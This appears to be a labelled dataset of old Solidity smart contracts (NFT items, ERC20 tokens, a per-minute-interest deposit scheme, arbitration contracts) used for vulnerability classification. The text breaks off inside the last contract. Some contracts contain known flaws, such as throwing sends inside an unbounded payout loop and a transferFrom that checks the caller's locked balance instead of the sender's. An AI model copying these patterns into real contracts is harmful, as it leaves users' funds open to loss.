modifier canTransfer(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender || getApproved(_tokenId) == msg.sender || ownerToOperators[tokenOwner][msg.sender]);
_;
}
modifier validNFToken(uint256 _tokenId) {
require(idToOwner[_tokenId] != address(0));
_;
}
constructor() public {
supportedInterfaces[0x80ac58cd] = true;
}
function balanceOf(address _owner) external view returns (uint256) {
require(_owner != address(0));
return ownerToNFTokenCount[_owner];
}
function ownerOf(uint256 _tokenId) external view returns (address _owner) {
_owner = idToOwner[_tokenId];
require(_owner != address(0));
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) external {
_safeTransferFrom(_from, _to, _tokenId, _data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external {
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(address _from, address _to, uint256 _tokenId) external canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from);
require(_to != address(0));
_transfer(_to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) external canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender);
require(_to != address(0));
_transfer(_to, _tokenId);
}
function approve(address _approved, uint256 _tokenId) external canOperate(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(_approved != tokenOwner);
idToApprovals[_tokenId] = _approved;
emit Approval(tokenOwner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external {
require(_operator != address(0));
ownerToOperators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved(uint256 _tokenId) public view validNFToken(_tokenId) returns (address) {
return idToApprovals[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
require(_owner != address(0));
require(_operator != address(0));
return ownerToOperators[_owner][_operator];
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) internal canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from);
require(_to != address(0));
_transfer(_to, _tokenId);
if (_to.isContract()) {
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
require(retval == MAGIC_ON_ERC721_RECEIVED);
}
}
function _transfer(address _to, uint256 _tokenId) private {
address from = idToOwner[_tokenId];
clearApproval(_tokenId);
removeNFToken(from, _tokenId);
addNFToken(_to, _tokenId);
emit Transfer(from, _to, _tokenId);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
require(_tokenId != 0);
require(idToOwner[_tokenId] == address(0));
addNFToken(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) validNFToken(_tokenId) internal {
clearApproval(_tokenId);
removeNFToken(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(uint256 _tokenId) private {
if(idToApprovals[_tokenId] != 0) {
delete idToApprovals[_tokenId];
}
}
function removeNFToken(address _from, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == _from);
assert(ownerToNFTokenCount[_from] > 0);
ownerToNFTokenCount[_from] = ownerToNFTokenCount[_from] - 1;
delete idToOwner[_tokenId];
}
function addNFToken(address _to, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == address(0));
idToOwner[_tokenId] = _to;
ownerToNFTokenCount[_to] = ownerToNFTokenCount[_to].add(1);
}
}
contract NFTokenEnumerable is NFToken, ERC721Enumerable {
uint256[] internal tokens;
mapping(uint256 => uint256) internal idToIndex;
mapping(address => uint256[]) internal ownerToIds;
mapping(uint256 => uint256) internal idToOwnerIndex;
constructor() public {
supportedInterfaces[0x780e9d63] = true;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
uint256 length = tokens.push(_tokenId);
idToIndex[_tokenId] = length - 1;
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
assert(tokens.length > 0);
uint256 tokenIndex = idToIndex[_tokenId];
assert(tokens[tokenIndex] == _tokenId);
uint256 lastTokenIndex = tokens.length - 1;
uint256 lastToken = tokens[lastTokenIndex];
tokens[tokenIndex] = lastToken;
tokens.length--;
idToIndex[lastToken] = tokenIndex;
idToIndex[_tokenId] = 0;
}
function removeNFToken(address _from, uint256 _tokenId) internal
{
super.removeNFToken(_from, _tokenId);
assert(ownerToIds[_from].length > 0);
uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId];
uint256 lastTokenIndex = ownerToIds[_from].length - 1;
uint256 lastToken = ownerToIds[_from][lastTokenIndex];
ownerToIds[_from][tokenToRemoveIndex] = lastToken;
ownerToIds[_from].length--;
idToOwnerIndex[lastToken] = tokenToRemoveIndex;
idToOwnerIndex[_tokenId] = 0;
}
function addNFToken(address _to, uint256 _tokenId) internal {
super.addNFToken(_to, _tokenId);
uint256 length = ownerToIds[_to].push(_tokenId);
idToOwnerIndex[_tokenId] = length - 1;
}
function totalSupply() external view returns (uint256) {
return tokens.length;
}
function tokenByIndex(uint256 _index) external view returns (uint256) {
require(_index < tokens.length);
assert(idToIndex[tokens[_index]] == _index);
return tokens[_index];
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
require(_index < ownerToIds[_owner].length);
return ownerToIds[_owner][_index];
}
}
contract NFTStandard is NFTokenEnumerable, ERC721Metadata {
string internal nftName;
string internal nftSymbol;
mapping (uint256 => string) internal idToUri;
constructor(string _name, string _symbol) public {
nftName = _name;
nftSymbol = _symbol;
supportedInterfaces[0x5b5e139f] = true;
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(idToUri[_tokenId]).length != 0) {
delete idToUri[_tokenId];
}
}
function _setTokenUri(uint256 _tokenId, string _uri) validNFToken(_tokenId) internal {
idToUri[_tokenId] = _uri;
}
function name() external view returns (string _name) {
_name = nftName;
}
function symbol() external view returns (string _symbol) {
_symbol = nftSymbol;
}
function tokenURI(uint256 _tokenId) validNFToken(_tokenId) external view returns (string) {
return idToUri[_tokenId];
}
}
contract BasicAccessControl {
address public owner;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
interface EtheremonAdventureHandler {
function handleSingleItem(address _sender, uint _classId, uint _value, uint _target, uint _param) external;
function handleMultipleItems(address _sender, uint _classId1, uint _classId2, uint _classId3, uint _target, uint _param) external;
}
contract EtheremonAdventureItem is NFTStandard("EtheremonAdventure", "EMOND"), BasicAccessControl {
uint constant public MAX_OWNER_PERS_SITE = 10;
uint constant public MAX_SITE_ID = 108;
uint constant public MAX_SITE_TOKEN_ID = 1080;
address public adventureHandler;
struct Item {
uint classId;
uint value;
}
uint public totalItem = MAX_SITE_TOKEN_ID;
mapping (uint => Item) public items;
modifier requireAdventureHandler {
require(adventureHandler != address(0));
_;
}
function setAdventureHandler(address _adventureHandler) onlyModerators external {
adventureHandler = _adventureHandler;
}
function setTokenURI(uint256 _tokenId, string _uri) onlyModerators external {
_setTokenUri(_tokenId, _uri);
}
function spawnSite(uint _classId, uint _tokenId, address _owner) onlyModerators external {
if (_owner == address(0)) revert();
if (_classId > MAX_SITE_ID || _classId == 0 || _tokenId > MAX_SITE_TOKEN_ID || _tokenId == 0) revert();
Item storage item = items[_tokenId];
if (item.classId != 0) revert();
item.classId = _classId;
_mint(_owner, _tokenId);
}
function spawnItem(uint _classId, uint _value, address _owner) onlyModerators external returns(uint) {
if (_owner == address(0)) revert();
if (_classId <= MAX_SITE_ID) revert();
totalItem += 1;
Item storage item = items[totalItem];
item.classId = _classId;
item.value = _value;
_mint(_owner, totalItem);
return totalItem;
}
function useSingleItem(uint _tokenId, uint _target, uint _param) isActive requireAdventureHandler public {
if (_tokenId == 0 || idToOwner[_tokenId] != msg.sender) revert();
Item storage item = items[_tokenId];
EtheremonAdventureHandler handler = EtheremonAdventureHandler(adventureHandler);
handler.handleSingleItem(msg.sender, item.classId, item.value, _target, _param);
_burn(msg.sender, _tokenId);
}
function useMultipleItem(uint _token1, uint _token2, uint _token3, uint _target, uint _param) isActive requireAdventureHandler public {
if (_token1 > 0 && idToOwner[_token1] != msg.sender) revert();
if (_token2 > 0 && idToOwner[_token2] != msg.sender) revert();
if (_token3 > 0 && idToOwner[_token3] != msg.sender) revert();
Item storage item1 = items[_token1];
Item storage item2 = items[_token2];
Item storage item3 = items[_token3];
EtheremonAdventureHandler handler = EtheremonAdventureHandler(adventureHandler);
handler.handleMultipleItems(msg.sender, item1.classId, item2.classId, item3.classId, _target, _param);
if (_token1 > 0) _burn(msg.sender, _token1);
if (_token2 > 0) _burn(msg.sender, _token2);
if (_token3 > 0) _burn(msg.sender, _token3);
}
function getItemInfo(uint _tokenId) constant public returns(uint classId, uint value) {
Item storage item = items[_tokenId];
classId = item.classId;
value = item.value;
}
} | 1 | 3,026 |
pragma solidity ^0.4.11;
contract BLOCKCHAIN_DEPOSIT_BETA_1M {
uint constant PAYOUT_INTERVAL = 1 minutes;
uint constant DEPONENT_INTEREST= 10;
uint constant INTEREST_DENOMINATOR = 1000;
event Payout(uint paidPeriods, uint depositors);
struct Depositor
{
address etherAddress;
uint deposit;
uint depositTime;
}
modifier founderOnly { if (msg.sender == contract_founder) _; }
address private contract_founder;
uint private contract_latestPayoutTime;
Depositor[] private contract_depositors;
function BLOCKCHAIN_DEPOSIT_BETA_1M()
{
contract_founder = msg.sender;
contract_latestPayoutTime = now;
}
function() payable
{
addDepositor();
}
function Make_Deposit() payable
{
addDepositor();
}
function status() constant returns (uint deposit_fond_sum, uint depositorsCount, uint unpaidTime, uint unpaidIntervals)
{
deposit_fond_sum = this.balance;
depositorsCount = contract_depositors.length;
unpaidTime = now - contract_latestPayoutTime;
unpaidIntervals = unpaidTime / PAYOUT_INTERVAL;
}
function performPayouts()
{
uint paidPeriods = 0;
uint depositorsDepositPayout;
while(contract_latestPayoutTime + PAYOUT_INTERVAL < now)
{
uint idx;
for (idx = contract_depositors.length; idx-- > 0; )
{
if(contract_depositors[idx].depositTime > contract_latestPayoutTime + PAYOUT_INTERVAL)
continue;
uint payout = (contract_depositors[idx].deposit * DEPONENT_INTEREST) / INTEREST_DENOMINATOR;
if(!contract_depositors[idx].etherAddress.send(payout))
throw;
depositorsDepositPayout += payout;
}
contract_latestPayoutTime += PAYOUT_INTERVAL;
paidPeriods++;
}
Payout(paidPeriods, depositorsDepositPayout);
}
function addDepositor() private
{
contract_depositors.push(Depositor(msg.sender, msg.value, now));
}
function changeFounderAddress(address newFounder) founderOnly
{
contract_founder = newFounder;
}
} | 0 | 195 |
pragma solidity ^0.4.11;
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender == owner)
_;
}
}
contract tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData);
}
contract IERC20Token {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
}
contract Hedge is IERC20Token, owned{
string public standard = "Hedge v1.0";
string public name = "Hedge";
string public symbol = "HDG";
uint8 public decimals = 18;
uint256 public initialSupply = 50000000 * 10 ** 18;
uint256 public tokenFrozenUntilBlock;
uint256 public timeLock = block.timestamp + 180 days;
uint256 supply = initialSupply;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowances;
mapping (address => bool) restrictedAddresses;
event TokenFrozen(uint256 _frozenUntilBlock, string _reason);
function Hedge() {
restrictedAddresses[0x0] = true;
restrictedAddresses[address(this)] = true;
balances[msg.sender] = 50000000 * 10 ** 18;
}
function totalSupply() constant returns (uint256 totalSupply) {
return supply;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transferOwnership(address newOwner) onlyOwner {
require(transfer(newOwner, balances[msg.sender]));
owner = newOwner;
}
function transfer(address _to, uint256 _value) returns (bool success) {
require (block.number >= tokenFrozenUntilBlock) ;
require (!restrictedAddresses[_to]) ;
require (balances[msg.sender] >= _value);
require (balances[_to] + _value >= balances[_to]) ;
require (!(msg.sender == owner && block.timestamp < timeLock && (balances[msg.sender]-_value) < 10000000 * 10 ** 18));
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
require (block.number > tokenFrozenUntilBlock);
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
approve(_spender, _value);
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require (block.number > tokenFrozenUntilBlock);
require (!restrictedAddresses[_to]);
require(balances[_from] >= _value);
require (balances[_to] + _value >= balances[_to]);
require (_value <= allowances[_from][msg.sender]);
require (!(_from == owner && block.timestamp < timeLock && (balances[_from]-_value) < 10000000 * 10 ** 18));
balances[_from] -= _value;
balances[_to] += _value;
allowances[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
supply-=_value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) returns (bool success) {
require(balances[_from] >= _value);
require(_value <= allowances[_from][msg.sender]);
balances[_from] -= _value;
allowances[_from][msg.sender] -= _value;
supply -= _value;
Burn(_from, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowances[_owner][_spender];
}
function freezeTransfersUntil(uint256 _frozenUntilBlock, string _reason) onlyOwner {
tokenFrozenUntilBlock = _frozenUntilBlock;
TokenFrozen(_frozenUntilBlock, _reason);
}
function unfreezeTransfersUntil(string _reason) onlyOwner {
tokenFrozenUntilBlock = 0;
TokenFrozen(0, _reason);
}
function editRestrictedAddress(address _newRestrictedAddress) onlyOwner {
restrictedAddresses[_newRestrictedAddress] = !restrictedAddresses[_newRestrictedAddress];
}
function isRestrictedAddress(address _queryAddress) constant returns (bool answer){
return restrictedAddresses[_queryAddress];
}
} | 0 | 1,556 |
pragma solidity ^0.4.21;
contract Owned {
address public owner;
address internal newOwner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
event updateOwner(address _oldOwner, address _newOwner);
function changeOwner(address _newOwner) public onlyOwner returns(bool) {
require(owner != _newOwner);
newOwner = _newOwner;
return true;
}
function acceptNewOwner() public returns(bool) {
require(msg.sender == newOwner);
emit updateOwner(owner, newOwner);
owner = newOwner;
return true;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Token {
uint256 internal _totalSupply;
mapping (address => uint256) public balances;
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Controlled is Owned {
using SafeMath for uint;
uint256 oneMonth = 3600 * 24 * 30;
uint256 public releaseStartTime = 1527910441;
bool public emergencyStop = false;
uint256 internal _lockValue;
event reportCalc(address _user,uint transferValue,uint256 releaseValue);
struct userToken {
uint256 OCE;
uint256 addrLockType;
}
mapping (address => userToken) userReleaseToken;
modifier canTransfer {
require(emergencyStop == false);
_;
}
function setTransferOCE(bool _bool) public onlyOwner{
emergencyStop = !_bool;
}
function setRealseTime(uint256 _time) public onlyOwner {
releaseStartTime = _time;
}
modifier releaseTokenValid(address _user, uint256 _value) {
uint256 _lockTypeIndex = userReleaseToken[_user].addrLockType;
if(_lockTypeIndex != 0) {
uint256 lockValue = userReleaseToken[_user].OCE.sub(calcReleaseToken(_user));
emit reportCalc(_user,_value,lockValue);
require (_value >= lockValue);
}
_;
}
function getLockBalance(address _user) constant public returns (uint256)
{
_lockValue = 0;
uint256 _lockTypeIndex = userReleaseToken[_user].addrLockType;
if(_lockTypeIndex != 0) {
_lockValue = userReleaseToken[_user].OCE.sub(calcReleaseToken(_user));
emit reportCalc(_user,_lockTypeIndex,_lockValue);
}
return _lockValue;
}
function calcReleaseToken(address _user) internal view returns (uint256) {
uint256 _lockTypeIndex = userReleaseToken[_user].addrLockType;
uint256 _timeDifference = now.sub(releaseStartTime);
uint256 _whichPeriod = getPeriod(_lockTypeIndex, _timeDifference);
if(_lockTypeIndex == 1) {
return (percent(userReleaseToken[_user].OCE, 25).add( percent(userReleaseToken[_user].OCE, _whichPeriod.mul(25))));
}
if(_lockTypeIndex == 2) {
return (percent(userReleaseToken[_user].OCE, 10).add(percent(userReleaseToken[_user].OCE, _whichPeriod.mul(25))));
}
if(_lockTypeIndex == 3) {
return (percent(userReleaseToken[_user].OCE, 25).add(percent(userReleaseToken[_user].OCE, _whichPeriod.mul(15))));
}
revert();
}
function getPeriod(uint256 _lockTypeIndex, uint256 _timeDifference) internal view returns (uint256) {
if(_lockTypeIndex == 1) {
uint256 _period2 = _timeDifference.div(oneMonth);
if(_period2 >= 3){
_period2 = 3;
}
return _period2;
}
if(_lockTypeIndex == 2) {
uint256 _period3 = _timeDifference.div(oneMonth);
if(_period3 >= 6){
_period3 = 6;
}
return _period3;
}
if(_lockTypeIndex == 3) {
uint256 _period1 = (_timeDifference.div(oneMonth)).div(12);
if(_period1 >= 3){
_period1 = 3;
}
return _period1;
}
revert();
}
function percent(uint _token, uint _percentage) internal pure returns (uint) {
return _percentage.mul(_token).div(100);
}
}
contract standardToken is ERC20Token, Controlled {
mapping (address => mapping (address => uint256)) internal allowed;
function totalSupply() constant public returns (uint256 ){
return _totalSupply;
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(
address _to,
uint256 _value)
public
canTransfer
releaseTokenValid(msg.sender, balances[msg.sender].sub(_value))
returns (bool)
{
require (balances[msg.sender] >= _value);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
approve(_spender, _value);
if(!_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) {
revert();
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
canTransfer
releaseTokenValid(msg.sender, balances[msg.sender].sub(_value))
returns (bool success)
{
require(_to != address(0));
require (_value <= balances[_from]);
require (_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
}
contract LTE is Owned, standardToken {
string constant public name = "LTEChainToken";
string constant public symbol = "LTE";
uint constant public decimals = 18;
mapping(address => uint256) public ethBalances;
uint256 public ethCrowdsale = 0;
uint256 public rate = 1;
bool public crowdsaleClosed = false;
uint256 constant public topTotalSupply = 1 * 10**9 * 10**decimals;
event fallbackTrigged(address addr,uint256 amount);
function() payable {
require(!crowdsaleClosed);
uint ethAmount = msg.value;
ethBalances[msg.sender] = ethBalances[msg.sender].add(ethAmount);
ethCrowdsale = ethCrowdsale.add(ethAmount);
uint256 rewardAmount = ethAmount.mul(rate);
require (_totalSupply.add(rewardAmount)<=topTotalSupply);
_totalSupply = _totalSupply.add(rewardAmount);
balances[msg.sender] = balances[msg.sender].add(rewardAmount);
emit fallbackTrigged(msg.sender,rewardAmount);
}
function setCrowdsaleClosed(bool _bool) public onlyOwner {
crowdsaleClosed = _bool;
}
function setRate(uint256 _value) public onlyOwner {
rate = _value;
}
function getBalance() constant onlyOwner returns(uint){
return this.balance;
}
event SendEvent(address to, uint256 value, bool result);
function sendEther(address addr,uint256 _value) public onlyOwner {
bool result = false;
require (_value < this.balance);
result = addr.send(_value);
emit SendEvent(addr, _value, result);
}
function kill(address _addr) public onlyOwner {
selfdestruct(_addr);
}
function allocateToken(address[] _owners, uint256[] _values, uint256[] _addrLockType) public onlyOwner {
require ((_owners.length == _values.length) && ( _values.length == _addrLockType.length));
for(uint i = 0; i < _owners.length ; i++){
uint256 value = _values[i] * 10**decimals ;
require (_totalSupply.add(value)<=topTotalSupply);
_totalSupply = _totalSupply.add(value);
balances[_owners[i]] = balances[_owners[i]].add(value);
emit Transfer(0x0, _owners[i], value);
userReleaseToken[_owners[i]].OCE = userReleaseToken[_owners[i]].OCE.add(value);
userReleaseToken[_owners[i]].addrLockType = _addrLockType[i];
}
}
function allocateCandyToken(address[] _owners, uint256[] _values) public onlyOwner {
require (_owners.length == _values.length);
for(uint i = 0; i < _owners.length ; i++){
uint256 value = _values[i]* 10**decimals;
require (_totalSupply.add(value)<=topTotalSupply);
_totalSupply = _totalSupply.add(value);
balances[_owners[i]] = balances[_owners[i]].add(value);
emit Transfer(0x0, _owners[i], value);
}
}
} | 1 | 3,396 |
pragma solidity ^0.4.24;
interface IArbitrable {
event MetaEvidence(uint indexed _metaEvidenceID, string _evidence);
event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID, uint _evidenceGroupID);
event Evidence(Arbitrator indexed _arbitrator, uint indexed _evidenceGroupID, address indexed _party, string _evidence);
event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling);
function rule(uint _disputeID, uint _ruling) external;
}
contract Arbitrable is IArbitrable {
Arbitrator public arbitrator;
bytes public arbitratorExtraData;
modifier onlyArbitrator {require(msg.sender == address(arbitrator), "Can only be called by the arbitrator."); _;}
constructor(Arbitrator _arbitrator, bytes memory _arbitratorExtraData) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
}
function rule(uint _disputeID, uint _ruling) public onlyArbitrator {
emit Ruling(Arbitrator(msg.sender),_disputeID,_ruling);
executeRuling(_disputeID,_ruling);
}
function executeRuling(uint _disputeID, uint _ruling) internal;
}
contract Arbitrator {
enum DisputeStatus {Waiting, Appealable, Solved}
modifier requireArbitrationFee(bytes memory _extraData) {
require(msg.value >= arbitrationCost(_extraData), "Not enough ETH to cover arbitration costs.");
_;
}
modifier requireAppealFee(uint _disputeID, bytes memory _extraData) {
require(msg.value >= appealCost(_disputeID, _extraData), "Not enough ETH to cover appeal costs.");
_;
}
event DisputeCreation(uint indexed _disputeID, Arbitrable indexed _arbitrable);
event AppealPossible(uint indexed _disputeID, Arbitrable indexed _arbitrable);
event AppealDecision(uint indexed _disputeID, Arbitrable indexed _arbitrable);
function createDispute(uint _choices, bytes memory _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {}
function arbitrationCost(bytes memory _extraData) public view returns(uint fee);
function appeal(uint _disputeID, bytes memory _extraData) public requireAppealFee(_disputeID,_extraData) payable {
emit AppealDecision(_disputeID, Arbitrable(msg.sender));
}
function appealCost(uint _disputeID, bytes memory _extraData) public view returns(uint fee);
function appealPeriod(uint _disputeID) public view returns(uint start, uint end) {}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status);
function currentRuling(uint _disputeID) public view returns(uint ruling);
}
contract CentralizedArbitrator is Arbitrator {
address public owner = msg.sender;
uint arbitrationPrice;
uint constant NOT_PAYABLE_VALUE = (2**256-2)/2;
struct DisputeStruct {
Arbitrable arbitrated;
uint choices;
uint fee;
uint ruling;
DisputeStatus status;
}
modifier onlyOwner {require(msg.sender==owner, "Can only be called by the owner."); _;}
DisputeStruct[] public disputes;
constructor(uint _arbitrationPrice) public {
arbitrationPrice = _arbitrationPrice;
}
function setArbitrationPrice(uint _arbitrationPrice) public onlyOwner {
arbitrationPrice = _arbitrationPrice;
}
function arbitrationCost(bytes _extraData) public view returns(uint fee) {
return arbitrationPrice;
}
function appealCost(uint _disputeID, bytes _extraData) public view returns(uint fee) {
return NOT_PAYABLE_VALUE;
}
function createDispute(uint _choices, bytes _extraData) public payable returns(uint disputeID) {
super.createDispute(_choices, _extraData);
disputeID = disputes.push(DisputeStruct({
arbitrated: Arbitrable(msg.sender),
choices: _choices,
fee: msg.value,
ruling: 0,
status: DisputeStatus.Waiting
})) - 1;
emit DisputeCreation(disputeID, Arbitrable(msg.sender));
}
function _giveRuling(uint _disputeID, uint _ruling) internal {
DisputeStruct storage dispute = disputes[_disputeID];
require(_ruling <= dispute.choices, "Invalid ruling.");
require(dispute.status != DisputeStatus.Solved, "The dispute must not be solved already.");
dispute.ruling = _ruling;
dispute.status = DisputeStatus.Solved;
msg.sender.send(dispute.fee);
dispute.arbitrated.rule(_disputeID,_ruling);
}
function giveRuling(uint _disputeID, uint _ruling) public onlyOwner {
return _giveRuling(_disputeID, _ruling);
}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status) {
return disputes[_disputeID].status;
}
function currentRuling(uint _disputeID) public view returns(uint ruling) {
return disputes[_disputeID].ruling;
}
}
contract AppealableArbitrator is CentralizedArbitrator, Arbitrable {
struct AppealDispute {
uint rulingTime;
Arbitrator arbitrator;
uint appealDisputeID;
}
uint public timeOut;
mapping(uint => AppealDispute) public appealDisputes;
mapping(uint => uint) public appealDisputeIDsToDisputeIDs;
constructor(
uint _arbitrationPrice,
Arbitrator _arbitrator,
bytes _arbitratorExtraData,
uint _timeOut
) public CentralizedArbitrator(_arbitrationPrice) Arbitrable(_arbitrator, _arbitratorExtraData) {
timeOut = _timeOut;
}
function changeArbitrator(Arbitrator _arbitrator) external onlyOwner {
arbitrator = _arbitrator;
}
function changeTimeOut(uint _timeOut) external onlyOwner {
timeOut = _timeOut;
}
function getAppealDisputeID(uint _disputeID) external view returns(uint disputeID) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
disputeID = AppealableArbitrator(appealDisputes[_disputeID].arbitrator).getAppealDisputeID(appealDisputes[_disputeID].appealDisputeID);
else disputeID = _disputeID;
}
function appeal(uint _disputeID, bytes _extraData) public payable requireAppealFee(_disputeID, _extraData) {
super.appeal(_disputeID, _extraData);
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
appealDisputes[_disputeID].arbitrator.appeal.value(msg.value)(appealDisputes[_disputeID].appealDisputeID, _extraData);
else {
appealDisputes[_disputeID].arbitrator = arbitrator;
appealDisputes[_disputeID].appealDisputeID = arbitrator.createDispute.value(msg.value)(disputes[_disputeID].choices, _extraData);
appealDisputeIDsToDisputeIDs[appealDisputes[_disputeID].appealDisputeID] = _disputeID;
}
}
function giveRuling(uint _disputeID, uint _ruling) public {
require(disputes[_disputeID].status != DisputeStatus.Solved, "The specified dispute is already resolved.");
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0))) {
require(Arbitrator(msg.sender) == appealDisputes[_disputeID].arbitrator, "Appealed disputes must be ruled by their back up arbitrator.");
super._giveRuling(_disputeID, _ruling);
} else {
require(msg.sender == owner, "Not appealed disputes must be ruled by the owner.");
if (disputes[_disputeID].status == DisputeStatus.Appealable) {
if (now - appealDisputes[_disputeID].rulingTime > timeOut)
super._giveRuling(_disputeID, disputes[_disputeID].ruling);
else revert("Time out time has not passed yet.");
} else {
disputes[_disputeID].ruling = _ruling;
disputes[_disputeID].status = DisputeStatus.Appealable;
appealDisputes[_disputeID].rulingTime = now;
emit AppealPossible(_disputeID, disputes[_disputeID].arbitrated);
}
}
}
